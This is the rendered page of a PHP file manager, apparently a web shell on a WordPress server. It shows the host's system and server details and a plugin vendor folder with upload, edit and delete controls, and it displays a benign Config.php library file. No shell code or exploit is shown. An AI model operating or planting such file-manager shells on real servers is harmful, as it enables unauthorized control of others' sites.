[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
vendor
/
typisttech
/
imposter
/
src
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 Config.php
1,780 B
SET
[ EDIT ]
|
[ DEL ]
📄 ConfigFactory.php
659 B
SET
[ EDIT ]
|
[ DEL ]
📄 ConfigInterface.php
307 B
SET
[ EDIT ]
|
[ DEL ]
📄 Filesystem.php
1,929 B
SET
[ EDIT ]
|
[ DEL ]
📄 Imposter.php
2,941 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImposterFactory.php
823 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImposterInterface.php
704 B
SET
[ EDIT ]
|
[ DEL ]
📄 ProjectConfig.php
1,345 B
SET
[ EDIT ]
|
[ DEL ]
📄 StringUtil.php
511 B
SET
[ EDIT ]
|
[ DEL ]
📄 Transformer.php
4,171 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Config.php
<?php declare(strict_types=1); namespace TypistTech\Imposter; class Config implements ConfigInterface { /** * @var string */ protected $packageDir; /** * @var array */ private $config; public function __construct(string $packageDir, array $config) { $this->packageDir = StringUtil::addTrailingSlash($packageDir); $this->config = $config; } /** * @return string[] */ public function getAutoloads(): array { return array_map(function (string $autoload): string { return $this->packageDir . $autoload; }, array_unique($this->getAutoloadPaths())); } /** * @return string[] */ private function getAutoloadPaths(): array { $autoloads = $this->get('autoload'); unset($autoloads['exclude-from-classmap']); return ArrayUtil::flattenMap(function ($autoloadConfig): array { return $this->normalizeAutoload($autoloadConfig); }, $autoloads); } protected function get(string $key): array { return $this->config[$key] ?? []; } /** * @param $autoloadConfigs * * @return string[] */ private function normalizeAutoload($autoloadConfigs): array { if (! is_array($autoloadConfigs)) { return [$autoloadConfigs]; } return ArrayUtil::flattenMap(function ($autoloadConfig): array { return $this->normalizeAutoload($autoloadConfig); }, $autoloadConfigs); } public function getPackageDir(): string { return $this->packageDir; } /** * @return string[] */ public function getRequires(): array { return array_keys($this->get('require')); } }